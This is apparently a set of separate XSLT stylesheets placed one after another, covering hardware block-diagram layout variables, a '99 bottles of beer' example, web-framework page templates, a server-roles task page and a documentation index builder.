select="$G_SYS_INFO/@SPEEDGRADE"/> <xsl:variable name="G_SYS_MODS" select="$G_SYS/MODULES"/> <xsl:variable name="G_SYS_EXPS" select="$G_SYS/EXTERNALPORTS"/> <!-- INDEX KEYS FOR FAST ACCESS --> <xsl:key name="G_MAP_MODULES" match="&ALLMODS;" use="@INSTANCE"/> <xsl:key name="G_MAP_PROCESSORS" match="&CPUMODS;" use="@INSTANCE"/> <xsl:key name="G_MAP_BUSSES" match="&BUSMODS;" use="@INSTANCE"/> <xsl:key name="G_MAP_BUSSES" match="&BUSMODS;" use="@BUSSTD"/> <xsl:key name="G_MAP_BUSSES" match="&BUSMODS;" use="@BUSSTD_PSF"/> <xsl:key name="G_MAP_ALL_IOFS" match="&ALLIOFS;" use="../../@INSTANCE"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V11ALLBIFS;" use="@TYPE"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V12ALLBIFS;" use="@TYPE"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V11ALLBIFS;" use="@BUSSTD"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V12ALLBIFS;" use="@BUSSTD"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V11ALLBIFS;" use="@BUSSTD_PSF"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V12ALLBIFS;" use="@BUSSTD_PSF"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V11ALLBIFS;" use="../@INSTANCE"/> <xsl:key name="G_MAP_ALL_BIFS" match="&V12ALLBIFS;" use="../../@INSTANCE"/> <!-- <xsl:key name="G_MAP_ALL_BIFS_BY_BUS" match="&ALLBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_ALL_BIFS_BY_STD" match="&ALLBIFS;" use="@BUSSTD"/> <xsl:key name="G_MAP_ALL_BIFS_BY_STD" match="&ALLBIFS;" use="@BUSSTD_PSF"/> <xsl:key name="G_MAP_MST_BIFS" match="&MSTBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_SLV_BIFS" match="&SLVBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_MOS_BIFS" match="&MOSBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_P2P_BIFS" match="&P2PBIFS;" use="@BUSNAME"/> <xsl:key name="G_MAP_P2P_BIFS" match="&P2PBIFS;" use="@BUSSTD"/> <xsl:key name="G_MAP_P2P_BIFS" match="&P2PBIFS;" use="@BUSSTD_PSF"/> --> <xsl:key name="G_MAP_ALL_PORTS" match="&V11ALLPORTS;" use="../@INSTANCE"/> <xsl:key name="G_MAP_ALL_PORTS" match="&V12ALLPORTS;" use="../../@INSTANCE"/> <xsl:key name="G_MAP_DEF_PORTS" match="&V11DEFPORTS;" use="../@INSTANCE"/> <!-- Default ports --> <xsl:key name="G_MAP_DEF_PORTS" match="&V12DEFPORTS;" use="../../@INSTANCE"/> <!-- Default ports --> <xsl:key name="G_MAP_NDF_PORTS" match="&V11NDFPORTS;" use="../@INSTANCE"/> <!-- Non Default ports --> <xsl:key name="G_MAP_NDF_PORTS" match="&V12NDFPORTS;" use="../../@INSTANCE"/> <!-- Non Default ports --> <xsl:variable name="G_BIFTYPES"> <BIFTYPE TYPE="SLAVE"/> <BIFTYPE TYPE="MASTER"/> <BIFTYPE TYPE="MASTER_SLAVE"/> <BIFTYPE TYPE="TARGET"/> <BIFTYPE TYPE="INITIATOR"/> <BIFTYPE TYPE="MONITOR"/> <BIFTYPE TYPE="USER"/> <BIFTYPE TYPE="TRANSPARENT"/> </xsl:variable> <xsl:variable name="G_BIFTYPES_NUMOF" select="count(exsl:node-set($G_BIFTYPES)/BIFTYPE)"/> <xsl:variable name="G_IFTYPES"> <IFTYPE TYPE="SLAVE"/> <IFTYPE TYPE="MASTER"/> <IFTYPE TYPE="MASTER_SLAVE"/> <IFTYPE TYPE="TARGET"/> <IFTYPE TYPE="INITIATOR"/> <IFTYPE TYPE="MONITOR"/> <IFTYPE TYPE="USER"/> <!-- <IFTYPE TYPE="TRANSPARENT"/> --> </xsl:variable> <xsl:variable name="G_IFTYPES_NUMOF" select="count(exsl:node-set($G_IFTYPES)/IFTYPE)"/> <xsl:variable name="G_BUSSTDS"> <BUSSTD NAME="AXI"/> <BUSSTD NAME="XIL"/> <BUSSTD NAME="OCM"/> <BUSSTD NAME="OPB"/> <BUSSTD NAME="LMB"/> <BUSSTD NAME="FSL"/> <BUSSTD NAME="DCR"/> <BUSSTD NAME="FCB"/> <BUSSTD NAME="PLB"/> <BUSSTD NAME="PLB34"/> <BUSSTD NAME="PLBV46"/> <BUSSTD NAME="PLBV46_P2P"/> <BUSSTD NAME="USER"/> <BUSSTD NAME="KEY"/> </xsl:variable> <xsl:variable name="G_BUSSTDS_NUMOF" select="count(exsl:node-set($G_BUSSTDS)/BUSSTD)"/> </xsl:stylesheet>
<?xml version="1.0" ?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xs="http://www.w3.org/2001/XMLSchema" exclude-result-prefixes="xs" version="3.0"> <xsl:output method="text"/> <xsl:variable name="startingNumberOfBottles" select="99"/> <!-- Main procedure. --> <xsl:template match="/" expand-text="true"> <xsl:iterate select="reverse(1 to $startingNumberOfBottles)"> <xsl:variable name="currentBottles" select="." as="xs:integer"/> <xsl:variable name="newBottles" select=". - 1" as="xs:integer"/> <xsl:text>{$currentBottles} bottle{if ($currentBottles ne 1) then 's' else ()} of beer on the wall&#10;</xsl:text> <xsl:text>{$currentBottles} bottle{if ($currentBottles ne 1) then 's' else ()} of beer&#10;</xsl:text> <xsl:text>Take one down, pass it around&#10;</xsl:text> <xsl:text>{$newBottles} bottle{if ($newBottles ne 1) then 's' else ()} of beer on the wall&#10;&#10;</xsl:text> </xsl:iterate> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="utf-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" exclude-result-prefixes="html"> <xsl:import href="includes/sfwtemplates.xsl" /> <xsl:output method="xml" doctype-public="-//W3C//DTD XHTML 1.0 Strict//EN" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" version="1.0" indent="yes" omit-xml-declaration="yes" encoding="utf-8"/> <xsl:param name="sortcol" /> <xsl:template match="/"> <html> <head> <title>SchemaFW Login Demonstration</title> <!-- SchemaFW includes --> <xsl:call-template name="css_includes" /> <xsl:call-template name="js_includes" /> <xsl:if test="@mode-type"> <meta name="sfw-mode-type" content="${@mode-type}" /> </xsl:if> </head> <body> <div id="SWF_Header"> <h1>SchemaFX Login Demonstration</h1> <a href="schema">Home</a> </div> <div id="SFW_Content"> <div class="SFW_Host"> <xsl:apply-templates select="*" mode="branch_standard_modes" /> </div> </div> </body> </html> </xsl:template> </xsl:stylesheet>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:template match="/"> <xsl:apply-templates select="Roles"/> </xsl:template> <xsl:template match="Roles"> <table width="100%" cellpadding="0" cellspacing="0" style="margin-top:16px"> <xsl:for-each select="Role"> <tr> <td> <xsl:apply-templates select="."/> </td> </tr> </xsl:for-each> </table> </xsl:template> <xsl:template match="/Roles/Role"> <table id="roletable" width="100%" cellpadding="0" cellspacing="0" style="margin-top: 16px"> <xsl:attribute name="mys_id"><xsl:value-of select="@mys_id" /></xsl:attribute> <tr id="roleHeader" > <td id="roleImageCell" rowspan="2" valign="top" > <span id="roleImageSpan" onclick="ToggleExpandRole(this.parentNode.parentNode.parentNode);"> <img id="roleImage" width="17" height="17" style="margin-right: 6px;" src="MinusIcon.gif"> <xsl:attribute name="alt"><xsl:value-of select="@name"/></xsl:attribute> </img> </span> </td> <td id="roleTextCell" width="100%" colspan="2" valign="top" nowrap="true"> <table id="roleTextTable" cellpadding="0" cellspacing="0" width="100%"> <tr> <td nowrap="true"> <span class="mysRoleTitleText" tabindex="0" onkeydown="ToggleFromKeyboard(this.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode);" onClick="ToggleExpandRole(this.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode.parentNode);"> <b><xsl:value-of select="@name"/></b> </span> </td> </tr> <tr id="ruleRow"> <td width="100%" > <hr color="ButtonFace" noshade="true" size="1" /> </td> </tr> </table> </td> </tr> <tr valign="top" id="roleBody"> <td width="100%" id="roleBodyTd1"> <div class="mysRoleDescription"><xsl:call-template name="TranslateParagraphs"> <xsl:with-param name="text" select="@description"/> </xsl:call-template></div> </td> <td id="roleBodyTd2"> <div class="mysTaskSubTaskPane"> <xsl:apply-templates select="Links"/> </div> </td> </tr> </table> </xsl:template> <xsl:template name="StrReplace"> <xsl:param name="in"/> <xsl:param name="token"/> <xsl:param name="replacetoken"/> <xsl:choose> <xsl:when test="contains($in, $token)"> <xsl:value-of select="substring-before($in, $token)"/> <xsl:value-of select="$replacetoken"/> <xsl:call-template name="StrReplace"> <xsl:with-param name="in" select="substring-after($in, $token)"/> <xsl:with-param name="token" select="$token"/> <xsl:with-param name="replacetoken" select="$replacetoken"/> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:value-of select="$in"/> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template name="EscapeJPath"> <xsl:param name="in"/> <xsl:variable name="resultString"> <xsl:call-template name="StrReplace"> <xsl:with-param name="in" select="$in"/> <xsl:with-param name="token" select="'\'"/> <xsl:with-param name="replacetoken" select="'\\'"/> </xsl:call-template> </xsl:variable> <xsl:call-template name="StrReplace"> <xsl:with-param name="in" select="$resultString"/> <xsl:with-param name="token" select="'&quot;'"/> <xsl:with-param name="replacetoken" select="'\&quot;'"/> </xsl:call-template> </xsl:template> <xsl:template name="TranslateParagraphs"> <xsl:param name="text" /> <!-- The value of this variable needs to match the constant in the COM object. --> <xsl:variable name="paragraph_marker">PARA_MARKER</xsl:variable> <xsl:choose> <xsl:when test="contains($text, $paragraph_marker)"> <xsl:value-of select="substring-before($text, $paragraph_marker)" /> <br /> <br /> <xsl:call-template name="TranslateParagraphs"> <xsl:with-param name="text" select="substring-after($text, $paragraph_marker)" /> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:value-of select="$text" /> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="/Roles/Role/Links"> <table width="100%" class="mysSubTasks" cellpadding="0" cellspacing="0"> <xsl:for-each select="Link"> <tr class="mysSubtaskRow"> <xsl:if test="@id" > <xsl:attribute name="style" >display:none;</xsl:attribute> <xsl:attribute name="id"><xsl:value-of select="@id"/></xsl:attribute> </xsl:if> <td valign="top"> <div class="mysSubtaskImageCell"> <center> <span> <a class="mysSubtaskLink" tabIndex="-1" hideFocus="true" > <xsl:choose> <xsl:when test="@type = 'url'"> <xsl:attribute name="href"><xsl:value-of select="@command" /></xsl:attribute> <xsl:attribute name="target">_blank</xsl:attribute> </xsl:when> <xsl:when test="@type = 'help'"> <xsl:attribute name="href">javascript:execChm("<xsl:call-template name="EscapeJPath"> <xsl:with-param name="in" select="@command"/> </xsl:call-template>") </xsl:attribute> </xsl:when> <xsl:when test="@type = 'hcp'"> <xsl:attribute name="href">javascript:execCmd('"<xsl:call-template name="EscapeJPath"> <xsl:with-param name="in" select="@command"/> </xsl:call-template>"') </xsl:attribute> </xsl:when> <xsl:when test="@type = 'program'"> <xsl:attribute name="href">javascript:execCmd("<xsl:call-template name="EscapeJPath"> <xsl:with-param name="in" select="@command"/> </xsl:call-template>") </xsl:attribute> </xsl:when> <xsl:when test="@type = 'cpl'"> <xsl:attribute name="href">javascript:execCpl("<xsl:value-of select="@command" />")</xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="href">about:blank</xsl:attribute> </xsl:otherwise> </xsl:choose> <xsl:attribute name="title"><xsl:value-of select="@tooltip" /></xsl:attribute> <xsl:choose> <xsl:when test="@type = 'help'" > <img border="0" width="20" height="20" src="help.gif"/> </xsl:when> <xsl:otherwise> <img border="0" width="20" height="20" src="greenarrow_small.gif"/> </xsl:otherwise> </xsl:choose> </a> </span> </center> </div> </td> <td width="100%" valign="top"> <div class="mysSubtaskTextCell"> <a tabindex="0" class="mysSubtaskLink"> <xsl:choose> <xsl:when test="@type = 'url'"> <xsl:attribute name="href"><xsl:value-of select="@command" /></xsl:attribute> <xsl:attribute name="target">_blank</xsl:attribute> </xsl:when> <xsl:when test="@type = 'help'"> <xsl:attribute name="href">javascript:execChm("<xsl:call-template name="EscapeJPath"> <xsl:with-param name="in" select="@command"/> </xsl:call-template>") </xsl:attribute> </xsl:when> <xsl:when test="@type = 'hcp'"> <xsl:attribute name="href">javascript:execCmd('"<xsl:call-template name="EscapeJPath"> <xsl:with-param name="in" select="@command"/> </xsl:call-template>"') </xsl:attribute> </xsl:when> <xsl:when test="@type = 'program'"> <xsl:attribute name="href">javascript:execCmd("<xsl:call-template name="EscapeJPath"> <xsl:with-param name="in" select="@command"/> </xsl:call-template>") </xsl:attribute> </xsl:when> <xsl:when test="@type = 'cpl'"> <xsl:attribute name="href">javascript:execCpl("<xsl:value-of select="@command" />")</xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:attribute name="href">about:blank</xsl:attribute> </xsl:otherwise> </xsl:choose> <xsl:attribute name="title"><xsl:value-of select="@tooltip" /></xsl:attribute> <xsl:attribute name="onmouseover">this.style.textDecoration='underline';</xsl:attribute> <xsl:attribute name="onmouseout">this.style.textDecoration='none';</xsl:attribute> <xsl:value-of select="@description"/> </a> </div> </td> </tr> </xsl:for-each> </table> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="utf-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" exclude-result-prefixes="html"> <xsl:import href="sfw_variables.xsl" /> <xsl:import href="sfw_utilities.xsl" /> <xsl:import href="sfw_scripts.xsl" /> <xsl:import href="sfw_host.xsl" /> <xsl:output method="xml" doctype-public="-//W3C//DTD XHTML 1.0 Strict//EN" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" version="1.0" indent="yes" omit-xml-declaration="yes" encoding="utl-8"/> <xsl:template match="schema" mode="id_schema"> <tr> <td> <xsl:value-of select="local-name(..)" /> </td> <td> <xsl:if test="local-name(..)='result'"> <xsl:value-of select="../@rndx" /> </xsl:if> </td> </tr> </xsl:template> <!-- Template to match transformFill() in _render_interaction(). --> <xsl:template match="/*"> <xsl:choose> <xsl:when test="$is_form"> <xsl:choose> <xsl:when test="count($gschema) &gt; 1"> <table> <xsl:apply-templates select="$gschema" mode="id_schema" /> </table> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="$gschema" mode="construct_form" /> </xsl:otherwise> </xsl:choose> <!-- <xsl:apply-templates select="$gschema" mode="construct_form" /> --> </xsl:when> <xsl:otherwise> <xsl:call-template name="fill_host" /> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- Fundamental template for completing an HTML head element. This is meant to be called by a "default.xsl" stylesheet. Primarily, it either creates a meta element to jump to another page if a meta-jump attribute or element is found, or it adds elements (CSS link and Javascript script) that support fundamental Schema Framework operations. --> <xsl:template match="/*" mode="fill_head"> <!-- consult sfw_scripts.xsl, template :construct_scripts: --> <xsl:param name="jscripts">debug</xsl:param> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <xsl:call-template name="add_css"> <xsl:with-param name="path">includes/</xsl:with-param> <xsl:with-param name="list">schemafw dpicker</xsl:with-param> </xsl:call-template> <xsl:if test="@css"> <xsl:call-template name="add_css"> <xsl:with-param name="list" select="@css" /> </xsl:call-template> </xsl:if> <xsl:apply-templates select="." mode="construct_scripts"> <xsl:with-param name="jscripts" select="$jscripts" /> </xsl:apply-templates> <xsl:choose> <xsl:when test="$err_condition=0"> <xsl:choose> <xsl:when test="@mode-type='form-jump'"> <xsl:apply-templates select="*[@rndx=1]" mode="fill_head" /> </xsl:when> <xsl:when test="@meta-jump"> <xsl:apply-templates select="@meta-jump" mode="fill_head" /> </xsl:when> <xsl:when test="meta-jump"> <xsl:apply-templates select="meta-jump" mode="fill_head" /> </xsl:when> </xsl:choose> </xsl:when> <xsl:when test="$err_condition=1"> <meta name="xsl_error_result_row" content="{$result-row/@msg}" /> </xsl:when> <xsl:when test="$err_condition=2"> <meta name="xsl_error_message" content="{$msg-el/@message}" /> </xsl:when> </xsl:choose> </xsl:template> <!-- The next set of templates support the mode="fill_head" template. --> <xsl:template name="meta-jump"> <xsl:param name="url" select="'/'" /> <xsl:param name="wait" select="0" /> <xsl:variable name="res_url"> <xsl:call-template name="resolve_refs"> <xsl:with-param name="str" select="$url" /> <xsl:with-param name="escape" select="1" /> </xsl:call-template> </xsl:variable> <xsl:variable name="content" select="concat($wait,'; url=', $res_url)" /> <meta http-equiv="refresh" content="{$content}" /> <script type="text/javascript"> <xsl:value-of select="concat('location.replace(&quot;',$url,'&quot;);')" /> </script> <xsl:value-of select="$nl" /> </xsl:template> <!-- Calls to meta-jump template need not resolve URL references because meta-jump does it just before creating the meta element. --> <xsl:template match="*[@rndx=1]" mode="fill_head"> <xsl:variable name="row" select="*[local-name()=../@row-name][1]" /> <xsl:variable name="tname" select="concat('jump',$row/@error)" /> <xsl:variable name="target" select="jumps/@*[local-name()=$tname]" /> <xsl:if test="$target"> <xsl:call-template name="meta-jump"> <xsl:with-param name="url" select="$target" /> <xsl:with-param name="wait" select="2" /> </xsl:call-template> </xsl:if> </xsl:template> <xsl:template match="@meta-jump" mode="fill_head"> <xsl:call-template name="meta-jump"> <xsl:with-param name="url" select="." /> </xsl:call-template> </xsl:template> <xsl:template match="meta-jump" mode="fill_head"> <xsl:call-template name="meta-jump"> <xsl:with-param name="url" select="@url" /> <xsl:with-param name="wait" select="@wait" /> </xsl:call-template> </xsl:template> <xsl:template name="add_scripts_and_stylesheets"> <xsl:if test="$err_condition=0"> <xsl:choose> <xsl:when test="@meta-jump"> <xsl:variable name="url"> <xsl:apply-templates select="@meta-jump" mode="resolve_url" /> </xsl:variable> <script type="text/javascript"> <xsl:text>location.replace(&quot;</xsl:text> <xsl:value-of select="$url" /> <xsl:text>&quot;);</xsl:text> </script> </xsl:when> <xsl:otherwise> </xsl:otherwise> </xsl:choose> </xsl:if> </xsl:template> <!-- Scans space-separater list of names to generate script elements. Refer to sfw_scripts.xsl for various variables that define the scripts list that add_js will use to construct the script elements. --> <xsl:template name="add_js"> <xsl:param name="list" /> <xsl:param name="path" /> <xsl:variable name="before" select="substring-before($list, ' ')" /> <xsl:variable name="file"> <xsl:choose> <xsl:when test="string-length($before)"> <xsl:value-of select="$before" /> </xsl:when> <xsl:otherwise> <xsl:value-of select="$list" /> </xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:if test="string-length($file)&gt;0"> <xsl:value-of select="$nl" /> <xsl:variable name="fpath" select="concat($path, $file, '.js')" /> <script type="text/javascript" src="{$fpath}"></script> </xsl:if> <xsl:if test="string-length($before)"> <xsl:call-template name="add_js"> <xsl:with-param name="list" select="substring-after($list,' ')" /> <xsl:with-param name="path" select="$path" /> </xsl:call-template> </xsl:if> </xsl:template> <xsl:template name="add_css"> <xsl:param name="list" /> <xsl:param name="path" /> <xsl:variable name="before" select="substring-before($list, ' ')" /> <xsl:variable name="file"> <xsl:choose> <xsl:when test="string-length($before)"> <xsl:value-of select="$before" /> </xsl:when> <xsl:otherwise> <xsl:value-of select="$list" /> </xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:if test="string-length($file)&gt;0"> <xsl:value-of select="$nl" /> <xsl:variable name="fpath" select="concat($path, $file, '.css')" /> <link rel="stylesheet" type="text/css" href="{$fpath}" /> </xsl:if> <xsl:if test="string-length($before)"> <xsl:call-template name="add_css"> <xsl:with-param name="list" select="substring-after($list,' ')" /> <xsl:with-param name="path" select="$path" /> </xsl:call-template> </xsl:if> </xsl:template> <xsl:template match="navigation/target" mode="header"> <xsl:variable name="url"> <xsl:apply-templates select="@url" mode="resolve_url" /> </xsl:variable> <a href="{$url}"> <xsl:apply-templates select="@label" mode="resolve_refs" /> </a> </xsl:template> <xsl:template match="/*/navigation" mode="header"> <xsl:if test="count(target)"> <nav><xsl:apply-templates select="target" mode="header" /></nav> </xsl:if> </xsl:template> <!-- Empty template for non-matched mode="header" elements to prevent empty lines. --> <xsl:template match="*" mode="header"></xsl:template> <xsl:template match="/*" mode="make_schemafw_meta"> <xsl:element name="div"> <xsl:attribute name="id">schemafw-meta</xsl:attribute> <xsl:attribute name="style">display:none</xsl:attribute> <xsl:if test="@method='POST'"> <xsl:attribute name="data-post">true</xsl:attribute> </xsl:if> <xsl:attribute name="data-modeType"> <xsl:value-of select="$mode-type" /> </xsl:attribute> <xsl:if test="@meta-jump"> <xsl:attribute name="data-jump"> <xsl:value-of select="@meta-jump" /> </xsl:attribute> </xsl:if> <xsl:if test="local-name()='message'"> <xsl:element name="span"> <xsl:attribute name="class">message</xsl:attribute> <xsl:if test="@detail"> <xsl:attribute name="data-detail"> <xsl:value-of select="@detail" /> </xsl:attribute> </xsl:if> <xsl:value-of select="@message" /> </xsl:element> </xsl:if> </xsl:element> </xsl:template> <xsl:template match="message/@*" mode="construct_parts"> <xsl:element name="p"> <span name="type"><xsl:value-of select="local-name()" /></span> <span name="val"><xsl:value-of select="." /></span> </xsl:element> </xsl:template> <xsl:template match="message" mode="construct"> <div class="message"> <xsl:apply-templates select="@*" mode="construct_parts" /> </div> </xsl:template> </xsl:stylesheet>
<gh_stars>10-100 <?xml version="1.0" encoding="iso-8859-1" ?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:param name="mode">xml</xsl:param> <xsl:output indent="yes"/> <xsl:template match="/document-part"> <xsl:processing-instruction name="xml-stylesheet"> <xsl:text>type="text/xsl" href="index.xsl"</xsl:text> </xsl:processing-instruction> <index> <xsl:apply-templates mode="index"/> </index> </xsl:template> <xsl:template match="include" mode="index"> <xsl:apply-templates select="document(concat(@file, '.xml'))" mode="index"> <xsl:with-param name="file" select="@file"/> </xsl:apply-templates> </xsl:template> <xsl:template match="/document-part" mode="index"> <xsl:param name="file"/> <xsl:apply-templates select="*" mode="index"> <xsl:with-param name="file" select="$file"/> </xsl:apply-templates> </xsl:template> <xsl:template match="index-entry" mode="index"> <xsl:param name="file"/> <index-entry> <xsl:attribute name="file"><xsl:value-of select="$file"/></xsl:attribute> <xsl:attribute name="index"><xsl:value-of select="@index"/></xsl:attribute> <xsl:attribute name="key"><xsl:value-of select="@title"/></xsl:attribute> <xsl:attribute name="title"><xsl:value-of select="@title"/></xsl:attribute> </index-entry> </xsl:template> <xsl:template match="define" mode="index"> <xsl:param name="file"/> <index-entry> <xsl:attribute name="file"><xsl:value-of select="$file"/></xsl:attribute> <xsl:attribute name="index"> <xsl:choose> <xsl:when test="@type = 'fun'">functions</xsl:when> <xsl:when test="@type = 'metamethod'">method</xsl:when> <xsl:when test="@type = 'const'">constant</xsl:when> <xsl:when test="@type = 'spec'">functions</xsl:when> <xsl:when test="@type = 'mac'">functions</xsl:when> <xsl:when test="@type = 'var'">variables</xsl:when> <xsl:when test="@type = 'meter'">meter</xsl:when> <xsl:otherwise><xsl:value-of select="@type"/></xsl:otherwise> </xsl:choose> </xsl:attribute> <xsl:attribute name="key"><xsl:value-of select="concat(@key, '-', @type)"/></xsl:attribute> <xsl:attribute name="title"><xsl:value-of select="@name"/></xsl:attribute> </index-entry> </xsl:template> <xsl:template match="text()" mode="index"></xsl:template> </xsl:stylesheet>
<?ll version="1.0" standalone="no"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- <xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes" doctype-public="-//W3C//DTD SVG Tiny 1.1//EN" doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11-tiny.dtd"/> --> <!-- ====================================================== BUS INTERFACE DIMENSIONS ====================================================== --> <xsl:variable name="BLKD_BIF_H" select="16"/> <xsl:variable name="BLKD_BIF_W" select="32"/> <xsl:variable name="BLKD_BIFC_H" select="24"/> <xsl:variable name="BLKD_BIFC_W" select="24"/> <xsl:variable name="BLKD_BIFC_dx" select="ceiling($BLKD_BIFC_W div 5)"/> <xsl:variable name="BLKD_BIFC_dy" select="ceiling($BLKD_BIFC_H div 5)"/> <xsl:variable name="BLKD_BIFC_Hi" select="($BLKD_BIFC_H - ($BLKD_BIFC_dy * 2))"/> <xsl:variable name="BLKD_BIFC_Wi" select="($BLKD_BIFC_W - ($BLKD_BIFC_dx * 2))"/> <xsl:variable name="BLKD_BIF_TYPE_ONEWAY" select="'OneWay'"/> <!-- ====================================================== GLOLBAL BUS INTERFACE DIMENSIONS (Define for global MdtSVG_BifShapes.xsl which is used across all diagrams to define the shapes of bifs the same across all diagrams) ====================================================== --> <xsl:variable name="BIF_H" select="$BLKD_BIF_H"/> <xsl:variable name="BIF_W" select="$BLKD_BIF_W"/> <xsl:variable name="BIFC_H" select="$BLKD_BIFC_H"/> <xsl:variable name="BIFC_W" select="$BLKD_BIFC_W"/> <xsl:variable name="BIFC_dx" select="$BLKD_BIFC_dx"/> <xsl:variable name="BIFC_dy" select="$BLKD_BIFC_dy"/> <xsl:variable name="BIFC_Hi" select="$BLKD_BIFC_Hi"/> <xsl:variable name="BIFC_Wi" select="$BLKD_BIFC_Wi"/> <!-- ====================================================== BUS DIMENSIONS ====================================================== --> <xsl:variable name="BLKD_P2P_BUS_W" select="($BLKD_BUS_ARROW_H - ($BLKD_BUS_ARROW_G * 2))"/> <xsl:variable name="BLKD_SBS_LANE_H" select="($BLKD_MOD_H + ($BLKD_BIF_H * 2))"/> <xsl:variable name="BLKD_BUS_LANE_W" select="($BLKD_BIF_W + ($BLKD_MOD_BIF_GAP_H * 2))"/> <xsl:variable name="BLKD_BUS_ARROW_W" select="ceiling($BLKD_BIFC_W div 3)"/> <xsl:variable name="BLKD_BUS_ARROW_H" select="ceiling($BLKD_BIFC_H div 2)"/> <xsl:variable name="BLKD_BUS_ARROW_G" select="ceiling($BLKD_BIFC_W div 12)"/> <!-- ====================================================== IO PORT DIMENSIONS ====================================================== --> <xsl:variable name="BLKD_IOP_H" select="16"/> <xsl:variable name="BLKD_IOP_W" select="16"/> <xsl:variable name="BLKD_IOP_SPC" select="12"/> <!-- ====================================================== INTERRUPT NOTATION DIMENSIONS ====================================================== --> <xsl:variable name="BLKD_INTR_W" select="18"/> <xsl:variable name="BLKD_INTR_H" select="18"/> <!-- ====================================================== MODULE DIMENSIONS ====================================================== --> <xsl:variable name="BLKD_MOD_IO_GAP" select="8"/> <xsl:variable name="BLKD_MOD_W" select="( ($BLKD_BIF_W * 2) + ($BLKD_MOD_BIF_GAP_H * 1) + ($BLKD_MOD_LANE_W * 2))"/> <xsl:variable name="BLKD_MOD_H" select="($BLKD_MOD_LABEL_H + ($BLKD_BIF_H * 1) + ($BLKD_MOD_BIF_GAP_V * 1) + ($BLKD_MOD_LANE_H * 2))"/> <xsl:variable name="BLKD_MOD_BIF_GAP_H" select="ceiling($BLKD_BIF_H div 4)"/> <xsl:variable name="BLKD_MOD_BIF_GAP_V" select="ceiling($BLKD_BIFC_H div 2)"/> <xsl:variable name="BLKD_MOD_LABEL_W" select="(($BLKD_BIF_W * 2) + $BLKD_MOD_BIF_GAP_H)"/> <xsl:variable name="BLKD_MOD_LABEL_H" select="(($BLKD_BIF_H * 2) + ceiling($BLKD_BIF_H div 3))"/> <xsl:variable name="BLKD_MOD_LANE_W" select="ceiling($BLKD_BIF_W div 3)"/> <xsl:variable name="BLKD_MOD_LANE_H" select="ceiling($BLKD_BIF_H div 4)"/> <xsl:variable name="BLKD_MOD_EDGE_W" select="ceiling($BLKD_MOD_LANE_W div 2)"/> <xsl:variable name="BLKD_MOD_SHAPES_G" select="($BLKD_BIF_W + $BLKD_BIF_W)"/> <xsl:variable name="BLKD_MOD_BKTLANE_H" select="$BLKD_BIF_H"/> <xsl:variable name="BLKD_MOD_BKTLANE_W" select="$BLKD_BIF_H"/> <xsl:variable name="BLKD_MOD_BUCKET_G" select="ceiling($BLKD_BIF_W div 2)"/> <xsl:variable name="BLKD_MPMC_MOD_H" select="(($BLKD_BIF_H * 1) + ($BLKD_MOD_BIF_GAP_V * 2) + ($BLKD_MOD_LANE_H * 2))"/> <!-- ====================================================== GLOBAL DIAGRAM DIMENSIONS ====================================================== --> <xsl:variable name="BLKD_IORCHAN_H" select="$BLKD_BIF_H"/> <xsl:variable name="BLKD_IORCHAN_W" select="$BLKD_BIF_H"/> <xsl:variable name="BLKD_PRTCHAN_H" select="($BLKD_BIF_H * 2) + ceiling($BLKD_BIF_H div 2)"/> <xsl:variable name="BLKD_PRTCHAN_W" select="($BLKD_BIF_H * 2) + ceiling($BLKD_BIF_H div 2) + 8"/> <xsl:variable name="BLKD_DRAWAREA_MIN_W" select="(($BLKD_MOD_BKTLANE_W * 2) + (($BLKD_MOD_W * 3) + ($BLKD_MOD_BUCKET_G * 2)))"/> <xsl:variable name="BLKD_INNER_X" select="($BLKD_PRTCHAN_W + $BLKD_IORCHAN_W + $BLKD_INNER_GAP)"/> <xsl:variable name="BLKD_INNER_Y" select="($BLKD_PRTCHAN_H + $BLKD_IORCHAN_H + $BLKD_INNER_GAP)"/> <xsl:variable name="BLKD_INNER_GAP" select="ceiling($BLKD_MOD_W div 2)"/> <xsl:variable name="BLKD_SBS2IP_GAP" select="$BLKD_MOD_H"/> <xsl:variable name="BLKD_BRIDGE_GAP" select="($BLKD_BUS_LANE_W * 4)"/> 